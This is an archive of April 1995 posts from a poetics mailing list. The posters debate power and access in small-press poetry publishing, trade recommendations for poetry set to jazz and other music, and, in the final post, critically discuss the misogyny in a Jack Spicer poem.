> *A measure of worthwhile subject surely must be the difference which may be made by one response or another. Why, in that case, does this list produce the opposite when it is composed of intelligent and passionate people committed to the baseline language art?*
>
> *I had a (seeming) endless correspondence more or less onthis subject in the late 80's or very early 90's with Spencer Selby who at that time maintained as he seems to wish to continue to maintain that the poetry world is nominalist; i.e. people build magazines, booklists, reading series, etc. around names rather than works. And that this translates into a kind of power and status which is not an exact mathematical function of the value of the work currently streaming (dribbling?) from that source.*
>
> *So? Yes, this is true. For one thing, most judgments about current work have little value in relation to any long-term assessment. The Cambridge Platonists were the hottest thing going hundreds of years ago, rather in the way that "theory" functions now. Read'em lately? For another, it's useless to think about poets in so immediate a manner. Your work is a lifelong arc (well, a much more complex shape than that); its weaknesses, lapses, gaps may contribute to strength.*

Neglect, lack of official endorsement, surely these are relative; surely too they are a just reward for the restless and radical desire to write. To imagine that there is a locus of power relevant to writing that exists outside the authority of that desire, which is self-permitted and demanded, is a foolish illusion. Knock long enough at the door of the one place which you imagine it matters to be published (i.e. Conjunctions, Sulfur) and no doubt you will be let in and learn that the place and object associated with idea and work are strictly irrelevant. Must it not be the case that the energy invested in imagining the opposite cd be better invested in re-imagining one's work? Isn't there, for every one of us, someone who imagines that we have more power than they? Someone I think is powerful, another who thinks me so; someone Gary Sullivan imagines to have more power than he and than is just (I pick Gary as a random example, not singling him out), and another who thinks that publisher-poet GS is a figure of the power position that this other has not attained?

I studied for years with Hannah Arendt; the two most important things she taught me were 1) a social/political issue must not be confused with one that is individual -- one's own sense of marginality is irrelevant to the issue of how an institution like poetry marginalizes its participants.
The other... well, this has been a bit stentorious, so I'll reveal the third thing Hannah Arendt taught me, and this involves a story.

For a quarter a small group of students did an intense reading course with Arendt on 2 works of Marx and Hegel. We worked very hard, and apparently we were good students, as she said near the end of the course that she wanted to reward our work by taking us out to lunch at the Quadrangle club, the faculty club at the U. of Chicago. It seemed to us, none of whom had been in this sanctum sanctorum (save, perhaps, one or 2 of us who bused tables there -- as I did with Paul Butterfield, but that's another story), that this must signal our true arrival as intellectuals.

The day arrived for our lunch, and we sat at an oblong table; Hannah was at one end, and I had grabbed the other. "Miss Arendt, Miss Arendt," I cried out -- earnest young intellect looking for arrival and power that I was -- "let me order the wine; I've been reading some books about wine."

Hannah dissolved in laughter; "Tzome tzings (one wd have to

> *have heard her rolling guttural penetrating voice to appreciate this I fear), Tohm, tzome tzing we do not learn from books!"*
>
> *That was the most important lesson she taught me. The same to you.*
>
> *Tom Mandel*

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172. Stephen Galen Cope
Re: Poetry/Jazz
Mon 10 Apr 1995

Dear Aldon, Michael Boughn, et al:

'Futurities' by Steve Lacy came out via Hat Hut Records in Switzerland, 1990. Distributed via Tower. Two volumes. Excellent...

I've also heard of the Splatter Trio doing a Mackey piece, or a piece based on a Mackey piece, but don't know the details (C. Funkhouser might...

-Stephen Cope

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173. Stephen Galen Cope
Re: Poetry/Jazz
Mon 10 Apr 1995

Forgot to mention:

Rumour has it that Nate Mackey himself has a CD due out (soon?) that features Hafez Modirzadeh and (I think) James Norton as collaborators. Again, don't have the details, but apparently its part of a new series... Anyone?

-Stephen Cope

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174. Joe Amato
Re: Consent of the governing
Mon 10 Apr 1995

well i'll be damned... i like the quote aldon nielsen cites from ron's work, and in fact i appreciate the drift of tom's response to spencer to the extent he's exhibiting frustration with a frustrating topic...

but something's bugging me about this, folks...

aldon, never having made your acquaintance save through your fine book on 'reading race,' something about you're being tenured, and posting it so, has an unfortunate ring of dismissiveness to it (similar to ron's (imho) poor choice of salutations, "posh")...

i'm not playing sides here (and i'm not tenured, and i haven't lost my sense of humor), but why is it i'm finding myself cringing at the *tone* of several of these posts?... it's highly unlikely that a topic will 'go away' simply because some folks voice 'boredom' with it... voicing such boredom will in all likelihood sustain the thread (i thought most of you would have understood that by now---and yeah, i'll risk coming off in this assertion as just a wee bit certain in such knowledge)...

i don't believe spencer is whining, either... because each post on this topic of 'power' has had the effect of progressively unearthing more information (such as the exchange twixt tom and spencer) that i, and no doubt many others, have not been privy too, it strikes me that there are personal histories and motivations at stake in the convictions being voiced that probably 'explain' the more dismissive gestures...

BUT this isn't a justification for same... so why not drop the attitude as much as this is possible? (i'm talking to everybody)... it doesn't help things, esp. because a good portion of the studio audience really is interested in better understanding how these spaces may be used to cultivate a more polysemous poeticsensibility, both personally & politically...

joe

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175. Loss Glazier
Carl Gay Obituary
Mon 10 Apr 1995

FYI, from A University at Buffalo Press release:

Karl Gay, Former Poetry Curator, Dies

"Karl" (Kenneth) Gay, former curator of the University at Buffalo Poetry Collection, died March 26 in Palma, Majorca, at age 83. He was curator from 1968 to 1978 and was secretary to and friend of Robert Graves for thirty years. This relationship provided UB with a sizable collection of Graves' manuscripts and publications. Graves, too, lived on Majorca for many years; he died in 1985. ----------

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176. **Edward Foster**
Re: Standing
Mon 10 Apr 1995

---

but, colleen, isn't the real point simply the difference between poetry and whatever (power) games are played? when words move into that second world they operate as rhetoric, strictly. it's not poetry.

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177. **Edward Foster**
Re: SEX!, just to get your attention.
Mon 10 Apr 1995

---

of course, eric, i can think of a reading that is not a use. the astonishment is that one would ask. it's the sort of thing you ask in classrooms and books. teaching theory (or for that matter simply teaching) one begins: it's not poetry, in any way.

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178. **Edward Foster**
Re: poeticslist serve and desire
Mon 10 Apr 1995

---

yes, sleep there, but don't deny the friends who quarrel: sleep, sleep, and in this silk, the thread will lead you back. there's no remorse in that; the grass, the poet said, is a tongue: i long for green.

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179. **Sheila Murphy**
Physical Reading
Mon 10 Apr 1995

By way of a too quick response to Ken's question/topic concerning reading and experiencing online versus paper, it's ambivalence that pops up right away. I love the freedom of THIS medium. Seems weightless, so accessible. Yet there's

this little bit of mourning as I remember ahead to a time when paper becomes a fossil or quaint curiosity. I'll miss the physicality.

SEM

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180. Sheila Murphy
Re: Consent of the governing
Mon 10 Apr 1995

Joe, you have reminded me of what an uncomfortable topic power can be, and of the way that words can really front for other words we'd just as soon blot out. I don't exempt myself from these tendencies, not at all. You just hit home with what you say, and I appreciate it.

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181. Gary Sullivan
Knowledge & empowerment (long)
Mon 10 Apr 1995

Dear Joe: Thank you for that post; you're right about tone, and I think I've been as bad as anyone else in that respect, maybe worse. I'll try to "tone it down" as they say. When you're young &/or are new to something, you tend to have a lot of illusions about things. Spencer doesn't sugar-coat anything, doesn't deny his own standing, doesn't tell younger poets it's beneath the lofty goal of "Poet" to want their work published. (If he did tell us that, it'd be like lecturing a bunch of kids at a busstop out his car window on how much better it was for the environment, as well as for their character, that they were taking public transportation.) He's not unique in this respect, but he's rare enough. In my experience, he has been one of few older poets who has consistently made time for me -- not to mention every other younger poet (there are a lot of them) who shows up at his door, or write him. I used to believe that if you knocked on doors long enough, you'd eventually be let in. More often, I've found, the door is never answered. No big deal, but to know that in advance -- and to have some understanding of why this is the case -- may save the newbie a lot of unnecessary heartache. It helps, I think, for younger publishers to know just what is required to be carried by SPD, and I don't think it's beneath anyone interested in poetry to want their new press carried by SPD. You have to know someone there, and they have to like you. If you don't, or they don't, you'll have to be publishing at least two perfectbound books a year. (Their "written" policy.) Even that's no guarantee -- they have limited shelf space, after all. A real guarantee would be to publish someone of the standing of Susan Howe, Alice Notley, or Ron Silliman. I don't know if Rochelle Owens is someone "of the

standing" to guarantee SPD access -- after all, Susan Smith Nash's Texture Press published a "selected" of Owens' poetry, and I don't think that press has still managed to get in through the door. (I think the people at SPD have to either believe the books will sell, or one of them has to be a fan of at least one of the people you're publishing, or you have to have someone on your side like Charles Bernstein or Kathleen Fraser, someone with "pull" there, talking them into taking you on; otherwise, don't get your hopes up.) That's probably boring to most of us on this list -- or maybe even inflammatory to some -- but potentially useful information for those people who don't have it. Perhaps equally boring, equally inflammatory, but also equally useful, is understanding how books get published in the U.S. The younger poet can forget presses the size of Coffee House Press. I worked there for a few months and their poetry list is filled until 1998, and there isn't anyone included on that list you haven't heard of. Things won't change in 1998 -- when they'll be booked until 2002 with similar things. Like the lobbying that goes on on Capitol Hill, such a thing as grant-lobbying in the U.S. exists. Because Charles Alexander was nice enough to extend an invite to Marta and myself, we got to attend (more observe) a dinner sponsored by the billionaire Cowles family and the largest nonprofit literary organizations in Minnesota. Marta and my press, Detour, was not represented; neither was Charles Alexander's Chax Press. (Charles was there under the auspices of the Minnesota Center for Book Arts, where he is Executive Director, and we were there as guests of the MCBA. I don't know how Charles feels, but Marta & I felt that, had it not been for Charles, we wouldn't have been allowed by these people to "exist," at least not in that instance.) The dinner was for Gigi Bradford, the Head or whatever of the NEA's Literature Program. The reason for this dinner was two-fold: Gigi was there to both warn and "pump up" the various nonprofits & their boards with respect to impending cuts. The organizations were there, mostly, to ask that their funding not get cut, that cuts be made w/respect to smaller organizations and individuals. (Or, so I was told by Allan Kornblum, Coffee House's editor.) As funding dries up in this country, it will be individual poets/writers and the smaller small presses who will lose most. This has, and will continue, to happen. Consequently, it is the emerging writers who are, ultimately, cut off from funding. Younger poets and publishers, as this happens, please try not to take too seriously people who tell you it's beneath your calling as "Poet" or "Poetry publisher" to be concerned about this, if it indeed concerns you. (I've seen no similar chastising of the NEA-watch material on this list -- which seems very odd to me. Why single newbies out for tsk-tsking & you-should-be-above-that?) So. Most smaller presses won't be able to publish your work, either. Potes & Poets has already closed its doors to younger writers; Peter Ganick wants to be able to sell what books he does publish. Ed's Talisman Books, unlike his _Talisman_ magazine, is similarly not open to younger poets, and for the very same reason.

(Since Ed doesn't apply for grants, he has to be more concerned about sales.) Neither Ed nor Peter, nor me for that matter, can publish everything we like. We can't even publish *most* of what we like. Consequently, it is more often than not the younger or unestablished poets who lose out. Some poets learn that the surest way to get your book published is to help pay for part or all of the production costs. This is, I would imagine, how at least 1/3rd to 1/2 of all poetry books in the U.S. get published. I base that only on the kinds of cover letters I receive, and from talking to various poets who have paid to have their books published, and talking to various publishers who have accepted money from poets to help pay for books. There is nothing wrong with this, and I don't bring it up to make anyone feel bad. (I think the general stigma attached to self-publishing is short-sighted.) It's information. Use it, those of you who can. Well, there is something wrong with it, actually, though it isn't anyone's fault. What happens, I think -- and this is why this discussion is about much more than personalities -- what happens is that the poets who do not have any money simply do not have any choice, here. This is an issue that concerns me because if books = access to readers (& they, of course, do) a socio-economic class in the U.S. is systematically being underrepresented. I joke with friends about the proliferation of what I call "homeowner-class" poetry. It's a silly joke, it's a silly (not terribly accurate) definition. But there are reasons why we see a lot of certain kinds of writing, and not so much of a somewhat different kind of writing. We don't see much of Daniel Davidson's writing, not in book form, anyway, because he's on SSI/Medical Assistance, can't afford to "chip in" for his next book; can't afford to make 100 copies of his own work, even if he wanted to. (Dan was one of the last people to get a book published through Zasterle before Manuel Brito began telling people he could no longer afford to publish w/out author subsidy, a very lucky break for Dan.) Dan happens to be someone who, because of his economic situation, sees "class background" as "landscape." (There are people who don't.) Ira, you and others on this list know that he's neither reductive nor soapboxy about that, at least not in his poetry -- it's not merely a "poetry of complaint." But, it does come out of a very different set of concerns, & from a very different point-of-view, than the work of, say, Charles Bernstein, or for that matter, Spencer Selby. One of the reasons we don't see much poetry like Dan's might be -- and this is just a guess made from having considered how poetry books get printed in this country -- because the people writing most of it simply do not have access to various presses because they don't have, simply put, any money. Douglas Messerli's comment in the intro to his Sun & Moon Anthology, that he "decided against" poetry with more political/social concerns in favor of poetry more concerned with issues of aesthetics and technique (to paraphrase), reflects the current situation in the U.S., at least among "avant- garde" or "experimental" or "exploratory" publishers, with this type of writing. Now, obviously, very reductive

political/social- concern writing will get published, because it's a frequent "grant" winner. Grant agencies love that stuff, but it has to hit 'em over the head. Meaning, it can't be that *and* aesthetically challenging, too. What the largest nonprofits give us on this level is, to cite a recent example, Coffee House Press's _Atomic Ghost_. (Thumb through it; it's in stores.) As a reader, *I* am denied access to material like Dan's, except in cases where I happen to know the poet, and can request a manuscript, or in those very rare cases when their work does happen to get published. I'm sure there's a lot else out there I haven't seen. I doubt I'll live to see much of it, even though I make it my business to hunt it out. Kevin's concern that there hasn't been any discussion of AIDS or HIV on this list, Mark Nowak's and others' concerns that there has been little discussion of nonwhite traditions, these are not merely complaints, but recognitions of what (very easily) is allowed to slip through the cracks when people don't concern themselves much with the WHY. That's my opinion, anyway. So, what happens? I think that by ignoring all of the above, one can very easily fall into the illusion that what is being published is not only "the best" or "most relevant" of what's being written today, but even eventually believe that there isn't anything else out there. Certainly most academics -- and you in academia have a better sense whether this is true or not -- don't have or take the time to really do more than explore what is readily available, already "talked up," almost always published, "professionally," when making assessments of contemporary writing. Some do, but not most. Consequently, college students get a skewed idea of what's being done today, what's *really* possible. I know, from having gone to college, that I had, then, a really bogus sense of not only what contemporary writing was, but even what it might be. (I don't have a complete sense today, of course, but I have a much better sense.) According to my college education, gay men & women didn't really exist, were sort of overall unimportant, & the same was not only true of nonwhite cultures & traditions, but of the lower classes as well. Pretty much only straight, white, educated-class, mostly males, were -- so one would assume from the types of books we were given to read -- the only people in the world who put two or more thoughts together. That didn't "just happen." I hear things are changing in colleges since I've been there; good. Joe, & others, I don't know if any of the info or opinions above will prove useful to you. It's just one person's experience & opinions, after all. I hope you and others do, and continue to, look beyond pre-existing channels for new writing -- including (obviously) within yourselves. Knowledge & information is power. Everyone's entitled to it. It's not beneath you. Yours, Gary

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182. Colleen Lookingbill
Re: Consent of the governing
Mon 10 Apr 1995

Went to a reading/publishing party for a good new little magazine called Antenym on Sat. and was struck by what the editor Steve Carl had to say in his statement of introduction called "Humanity and Politics":

"No longer merely mediating, politics determines how people will stand with regard to each other.

Today, politics governs more and more the relations between people, as more and more people become afraid to commit themselves to the attempt at genuine communication, concern and compassion, which all involve listening. To listen is to stand within another's speaking, to move one's viewpoint into the perspective of another, to share experiences. Instead politics provides an easy interpretive grid that allows us to get a handle on people, to identify "where someone is coming from" without having to actually deal with the reality s/he experiences, without having to engage that person's speaking, without having to "expend" or "invest" one's energy actually communicating without the incentive of gain.

As politics (which involves the communication of only power relationships between people) holds more sway, humanity is more and more buried by reductive modes of relating, with it buried, politics becomes more and more mean-spirited, if indeed spirit of any kind can be said to be involved."

This is taken from the middle of a three page essay, but the point is that others in the poetics field find the power and politics discussion a fertile field - why the impulse to suppress it on this list? Colleen

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183. Colleen Lookingbill
Re: Standing
Mon 10 Apr 1995

Ed sed: "but, colleen, isn't the real point simply the difference between poetry and whatever (power) games are played? when words move into that second world they operate as rhetoric, strictly. it's not poetry."

Yes - yes the poetry is different from the power games and the rhetoric - thank goddess - or we'd all be in deeper than we are now! I don't mistake the poetry for the poet or the rhetoric - as Charles A. said quoting Duncan "important to write as though the poems had the ability to effect the world, even change it, even if one knew, more pragmatically, that such power was either nonexistent

or severely limited." somehow I just think if we want our poems to effect the world it would be nice if our behaviours were influenced by that ideal.

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184. **Joe Amato**
Re: Consent of the governing
Mon 10 Apr 1995

---

thanks sheila... when i look over my post, i find myself still doing what i'm asking others not to do---i can't even *listen* to myself properly (colleen's point is to the point)... oh i understand it's all a matter of negotiating with these blasted letters (behind and in front and through which are our feelings)... still, i wish i'd used "injudicious" for "poor" in pointing to ron's word choice (and i wish i'd credited him with that "love" at the end of his last post)... and i wish i'd been a bit softer in responding to aldon---i mean, i've never physically met aldon, or ron, or spencer, or gary, or you sheila, or colleen, or any number of (you) folks... it seems we take so much for granted just to be t/here---mebbe this is the way it has to be... and by no means would i try to do away with conflict... but there simply has to be a shared sense that we can enter into our conflicts---publicly, here---with a mutually understood space of generosity... that differences in fact may not even require "argument" as such in order to be constructively engaged or resisted...

what's that song by paul simon?... honesty/it's such a waste of energy/ just give me some tenderness/beneath your honesty...

i guess i'd like to see all of us striving for both, nothing overly sentimental intended or implied...

joe

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185. **Bruce Comens**
Re: Poetry/Jazz, Hemphill, etc.
Mon 10 Apr 1995

Mike and others: The Lacy/Creeley CDs are on Hat Art (6031 and 6032) and are available from Cadence, Redwood, NY 13679, [redacted], along with all the other wonderful material from Hat Art, fmp, etc. Cadence, incidentally, is well worth the subscription if you're at all interested in "creative improvised music," as they call it. Also Cage, Feldman, Scelsi, etc. I heard the Julius Hemphill saxophone sextet (actually a septet, with Julius soloing occasionally from his wheelchair) last fall. The first set was one of the most thrilling sets I've ever heard, and the second damn near as good. And I still

recall just how astonished I was when I first heard "The Hard Blues" on the Coon Bidness LP back in the 70s, that mix of Texas "gutbucket" blues and a smart "avant-garde" edge. So sad to know there'll be no more such news, that we've lost that intelligence.... To whoever (sorry to have forgotten) was interested in jazz/poetry mixes: I believe Cecil Taylor and Clark Coolidge performed together a while back in NYC. I heard Coolidge read the piece later, but without, alas, Cecil. Perhaps it's on tape?--in which case I'd love to get a copy.

Hope this proves useful.

Bruce Comens

P.S.: Cadence is much cheaper than buying from Tower, etc. And a "good cause" as well.

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186. Andrew Joron
poetry & neo-chamber music
Mon 10 Apr 1995

Poetry & jazz has become almost a "canonical" synthesis, still a potent one of course (witness Lacy, etc.). Is there a tradition of contemporary poems set to music other than jazz? I've come across a single speciman, on Crammed Discs, a Belgian label specializing in new music/ambient/neo- chamber music: _When God Was Famous_, a 1989 release with texts by Paul Celan, Apollinaire, Gottfried Benn, Paul Eluard, Delmore Schwartz, and Bob Kaufman, and music by Samy Birnbaum & Benjamin Lew. I'd be interested to learn of other recordings of extra-jazz poetry. Andrew Joron

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187. Charles Bernstein
Dinner Is Served
Tue 11 Apr 1995

There will be a dinner right after Lydia Davis's reading. We will go somewhere near UB. Let me know if you are able to come.

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188. Susan Schultz
Re: POETICS Digest - 9 Apr 1995 to 10 Apr 1995
Tue 11 Apr 1995

To Aaron Joron--Here are just a few perhaps evident examples of poetry set to music other than jazz. There's Elliot Carter's setting of Ashbery's "Syringa" (along with 3 poems by Frost) on Bridge Records; Philip Glass's "Hydrogen Jukebox," with Ginsberg reading and others singing (thankfully!) on Elektra Nonesuch; Oliver Knussen's setting of Rilke (and Winnie the Pooh) on Virgin; a two cd tribute to John Cage, which includes work by Jackson MacLow and Anne Tardos, as well as Frank Zappa's rendition of 4'33" (with photo of the performer and appropriately no bio); John Cale's "Fragments of a Rainy Season," with its use of Dylan Thomas; and "The Subject" and "Blind Witness News," operas by Ben Yarmolinsky with librettos by Charles Bernstein. I believe I passed up a Lou Harrison cd that's relevant to your interests, but can't recall.

We're off the Hallmark trail, but I must report how horrified I was today as I looked to buy a card for a former colleague (in his early 40s) who's been institutionalized for early onset Alzheimers. The two genres seemed to be jokes to the effect that "you're losing your mental faculties, aren't you?" or "life gets better with age." Cruel.

Susan Schultz

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189. Wystan Curnow
Re: Consent of the governing
Tue 11 Apr 1995

Dear Joe, Well, we'll all be damned. Some say they're bored and they adopt a tone, but these are just their effete ways of trying to suppress a necessary debate, a confrontation with the real issues, of refusing to acknowledge their fear of communication, of honesty, of lets face it their corruption--I know I come from New Zealand. They have been touched by power, we all have, we are all, all of us, miserable stinking sinners. Let us confess, let us come before the Lord and say, yes Lord, I edited a small magazine. I want you to know when I say 'small,' that's just because it wasn't mainstream. You know what I mean by, mainstream? It wasn't without influence i have to say ... Wystan.

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190. **Wystan Curnow**
Re: Dinner Is Served
Tue 11 Apr 1995

Dear Charles,
Thanks, I'm hungry. I'll do my level best to be there. Could we make it somewhere between UB and AU? If not, have a hearty,
love
Wystan

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191. **George Bowering**
Re: Poetry/Jazz
Tue 11 Apr 1995

Works the other way round, too. There were rumours years ago of all the poems that Cecil Taylor has/had written. F'rinmstance.

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192. **Wystan Curnow**
Re: Consent of the governing
Tue 11 Apr 1995

Dear Joe, I've just read yours to sheila, such a sweet post, and you probably ain't got mine yet so I feel so BAD, having written to you the way I did. There are several other postings to which it might have just as well been a response, I guess. On the other hand, as I said to Gary, when it comes to the personal I got wurries, and he didn't seem to see what I was saying about transparence? Know what I mean? love Wystan

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193. **George Bowering**
Re: The West
Tue 11 Apr 1995

While you are looking at "westerns" or recent times, dont forget Jerome Charyn's novel about Buffalo Bill. I forget the title right now. It is as good as Ishmael Reed, I think.

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194. **George Bowering**
Re: what does it do?
Tue 11 Apr 1995

Poetry loosens my thighs.

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195. **Dr L.A. Raphals**
Re: poetry & neo-chamber music
Tue 11 Apr 1995

Do you know Faure's settings of Verlaine, among others? Also settings of Rilke and Stevens (?) by Robert Cogan, and of Williams by Steve Reich (Desert Music)

Lisa Raphals

On Mon, 10 Apr 1995, Andrew Joron wrote:

> *Poetry & jazz has become almost a "canonical" synthesis, still a potent one of course (witness Lacy, etc.). Is there a tradition of contemporary poems set to music other than jazz? I've come across a single speciman, on Crammed Discs, a Belgian label specializing in new music/ambient/neo-chamber music: _When God Was Famous_, a 1989 release with texts by Paul Celan, Apollinaire, Gottfried Benn, Paul Eluard, Delmore Schwartz, and Bob Kaufman, and music by Samy Birnbaum & Benjamin Lew. I'd be interested to learn of other recordings of extra-jazz poetry.*
> *Andrew Joron*

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196. **Edward Foster**
Re: Standing
Tue 11 Apr 1995

it's nice to think that poetry might/could effect the world, but as spicer pointed out in that anguished talk at the berkeley conference shortly before his death, poetry simply hasn't/doesn't. as they say, poetry has nothing to do with politics.

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197. **eric pape**
Re: SEX!, just to get your attention.
Tue 11 Apr 1995

My mistake Ed. I forgot we were talking about poetry, not books. Eric

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198. **Aldon L. Nielsen**
Re: Love me tenure
Tue 11 Apr 1995

OK, so my pun was worse than Ron's; My ref. to putting the "subject" to bed was meant to be a bad joke in response to Tom's response to Spencer's response to Ron, etc. As my earlier posts indicate, I do not in fact believe there's much, if any, point in trying to tell people they shouldn't care about the issues Spencer and others have raised. My last (not in the sense of terminal, I trust) post was intended to underscore what others have said about those with some modicum of power desiring to change the subject when that form of power is under discussion. As someone who is "tenured" in the usual sense, it would be stupid of me to pretend this makes no difference to the way that I participate in the discussion. Indeed, one of the benefits of tenure is that I am now much more vocal in my opposition to the exploitation of nontenured faculty than I was when I had to worry about my opposition possibly endangering my own job (a form of cowardice probably familiar to many).

In my messages this past week, I've been trying to register a mild irritation at the use of the academic metaphor in this context. Ron, of course, is not tenured anywhere and was right to point out that fact. On the other hand, those of us who have never had a perfect-bound book of poems published by any press may find the remarks about never being published twice in succession by the same press to be something of an evasion.

Spencer is clearly right about one thing; having a "name" opens doors, though they may not be the most inviting doors to pass through. I've told my students for years that the single best way to get your work published (other than going through an MFA program & joining the tenured) is to become a publisher. This fact, once known, will cause other editors to read your work more closely than they had before. I know of at least ten poets who have attested to this phenomenon.

As someone who has published books of criticism, I am now able to get a hearing at academic presses. However, that carries no weight whatsoever with poetry publishers. Likewise, though I'm tenured and published, I work at one of the last universities in the country that still has a four course per semester teaching load, and have only once in my career been invited to speak at a conference. As someone once remarked to me, teaching at a "non-research" university means that you don't exist for those in the more prestigious colleges. This is not entirely true, but it feels true to most of my colleagues. This parallels the situation we see in the past week's discussion in an odd way. My friends in the UC system don't like to think that they have any power; my friends in the CSU system think the UC people have all the power.

I'm wandering, but here's the point I want to get to. When Foucault says that power is everywhere, he does not seem to imply that power is always and everywhere the same. We all have power, and we are all subjected to/by power. Our analyses should be directed toward specific descriptions of the forms of power we exercise and experience, and how they can be altered. That discussion is the one I'd rather be having, as opposed to a back and forth about whether or not poet X or poet Y is more powerful/publishable/willing to acknowledge power.

I'll try to get back with something more coherent when I'm not running to class.

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199. braman sandra

poetry and jazz

Tue 11 Apr 1995

Novelist and short story writer Douglas Woolf wrote a book of poems entitled GOD'S TEAGARDEN, each poem written to the music of specific jazz musicians. North Carolina Wesleyan will publish it if I ever get it edited.... Sandra Braman

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200. Lindz Williamson

personal

Tue 11 Apr 1995

I am interested in the sexing of poetry. Remember that WIttig says that language is gender neutral, but immediately says that to say that is relatively meaningless because we are gendered and thus gender everything else. I am interested in this proccess of gendering, and how it is essentially about fictions, it seems to me. This I think has enormous implications for how we read and how we write. Implications that have not been explored in poetry. Thanks, Eric.

Gendering of langauge, especially english isn't totally visible when you right from a male view point. We have been trained to accept the first person male narrative as the norm. POst modernism is breaking this down but the gender bias is still there. Eventhough English is supposively a neuter langauge the Proto Indo European roots of its nature are not. The gender difference has been ingrained. I find it most obvious in cultural distinction of what are considered male dialogue words and accepted words for female female conversation. Similar occurrances appear in poetry as the reader tries to identify voice. Words are accepted when used by one sex, but taken in offense when use by the other. i find this intriguiging if langauge is to be nuetral. I have to go but I have more to say,

Lindz

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201. **I.LIGHTMAN**
Re: sexual harassment
Tue 11 Apr 1995

Phew, I've just been away in London for the weekend, primarily to attend a meeting of the two rival camps in avant-garde British poetry, the London school and the Cambridge school. There were ten readers, eight of whom were men doing second hand Zukofsky (Londoners) or second-hand J.H.Prynne (the Cambridge people), two women, one a brilliant formalist who can only continue to get bookings if she does erotica, and one very bathetic and confessional. One of the Cambridge people got up to read "parodies of Language Poetry" which were quite simply pathetic, and rhythmically and grammatically much closer to Prynne, not remotely knowledgeable about LangPo; I felt like they must have felt thirty years ago if they'd attended an avant-garde meeting where someone did pathetic parodies of Olson and Ashbery, and then did stale Eliotisms themselves! There was no active sexual harassment, just an absolutely stifling dominating maleness, no attempt to engage or involve the small handful of women who'd come, nearly all as friends of readers; and plenty of young male bards in their twenties happy to sell you their work or magazines full of yet more Prynne and Zukofsky. I agree with the many on this list who've said "well, start up your own movement, readings, presses", but problems abound, as the history of this very list will show. How do you advertise without getting lots of people who just want to be at the event to sneer at post-structuralism and post-modernism and accuse you of not giving a damn about race, sex, politics or indeed AIDS (thanks, Kevin, for your great posting on this subject), and then won't listen when you say you've cared about these things all along. The thing is, surely, that people, certainly in this country, fall into avant-garde poetry, usually through liking someone's style who's into it (and bell hooks may want to think of this as sexual, but there's a buzz out of friendship, laughter, fun, too) - or, even, through seeing, a la Platonism, the possibilities of perfect avant-garde poerty through the flawed manifestation of the very well-read interesting lecher who teaches the poetry course at college, or runs the local gallery, or sells you software. That's the fact, on the ground-level, of how people get into avant-garde poetry. Then there is a responsibility, before God if you like, to educate and above all *free* that newcomer to become the best avant-gardist they can be, not what you can channel them into. Of course, I would prefer to go to the US and hang out with Juliana Spahr and Kevin and Dodie and Gary Sullivan, but while I'm stuck in the UK on work commitments, I experience what I'm describing, and get angry and want (reasonable) reforms.

So just a few marginalia:

Ron, I really like you defense of the experiences you've got, the places you've read, by staying to your thing.

Ed, I loved what you said about Lacan; Poe seems a better judge of human nature, and the subtleties of real detection work, than Lacan. But, Ed, I hated your talk show crack against Andrew, it just seemed really patronising because, Andrew, you made some great points.

I really liked everything, Colleen, you've been posting. I think this generalising, sometimes waffling, offshoot discussion about power in general has produced redeeming moments (I love the idea of writing poetry *as if* it was powerful, it's why I think "talk show" idealising is great and vital) but you, Colleen, and you, Gary, have continually brought us back to te the very real power exercised that intimidates and sometimes abuses those moving in these circles,

Ira

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202. **I.LIGHTMAN**
Re: poetry & neo-chamber music
Tue 11 Apr 1995

There's also Pierre Boulez's "settings" of Rene Char, which don't have any words, but feel full of Char's verbal energy.

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203. **I.LIGHTMAN**
Jack Spicer
Tue 11 Apr 1995

Perhaps one way into some issues around sex, privacy and also power, is a few observations on Spicer. Ed has quoted him a few times, and Ron's essay on him in the New Sentence was one utterly marvellous thing to thank the limited publicity there is around Ron's name for; it certainly sent me away to read Spicer for the first time (even though he was one of the few interesting poets who had been on my university library shelves all along). I adore Spicer's rhythm, and his mordant wit, and, actually, his Romanticism. Anyway, there was a short article on "San Fransisco Poetry" last year in an academic periodical (I've spent my lunch hour trying to find it, but I couldn't), which I remember reading; and it literally believed it was dealing with the whole topic of its title, by quoting a famous incident where Spicer read his poem "for Joe" at a public reading, and incensed Denise Levertov (have I remembered this right, anyone?) with his line about "the female genital organ is hideous", so that

Levertov wrote a response poem, which the article published, and for the reviewer that about wrapped it up for San Fransisco, dumb town, end of story. The Spicer poem begins with the hardly self-flattering language "People who don't like the smell of faggot vomit / Will never understand why men don't like women". There is such formality, like a syllogism, about this opening, a little Socratic hint (since some men *do* like women) that Spicer is operating a ferocious/ ruthless speculation on an outrageous/offensive proposition; it seems perfectly possible to reverse the terms and write "people who like the female genital organ / will not agree"; it just doesn't seem a totalising proposition "all people agree with me", but, precisely, anti-totalising. But that doesn't explain away the offensiveness, for the collaboration with stereotypes of stigmatising the female body and encouraging/going alonf g with violence against women. Certainly, there is mock violence against fellow gay men, by using the word "faggot", and one could let Spicer have argued that this thus makes the violence against women mock violence. But as the article argued well, the way that Spicer read this poem, encouraging the laughter of a predominantly gay male audience (but, Kevin Killian, esteemed biographer of Spicer, please set me right if this is wrong), and not noticing (or noticing and enjoying) the way this aggravated the discomfort that the visitor Levertov was experiencing. This incident (unless the article got it wrong) does bring up some themes for me. Was there a way, any way, for Levertov to have entered into this moment, since the self-deprecating by Spicer was offset by the clear solidarity in the room, and the misognyist deprecating amplified by the room? Could she have found a poem to write that would have mocked the room right back at them, and thus endeared all to all? I'd really love anyone's ideas, and historical back-up, on this: are there examples of female artists being able/allowed to tease such a circle and maybe even sober them a little; or does one see instead outsiders, or a new generation, of female and gay male writers co-founding a new circle, in which such "fish" jokes are not the norm, and cannot be so comfortably made, as in the Spicer anecdote. I raise all this because I also want to think about public and private. I have had a lot of discussions with fellow bisexuals where, in one case by a friend in front of her male partner, the person will offer humour-intending caricatures of the bodies of a (usually the more socially expected) gender they don't currently fancy, compared to the bodies of a gender they currently do. In fact, using very similar terms to Spicer's poem: as if there were, which there sometimes is, a slight pull towards one gender which is so much accentuated by desire for conformity/easy life that you need to counter it in order to give both genders a fair chance. But then again there's plenty of people who categorically desire only one gender; who, to quote the great Craig Owens (also lost to AIDS), take great offense at being told, a la Freud, that homophobia is an expression always of repressed homosexual desire, as if the common experience wasn't in fact unphobic,

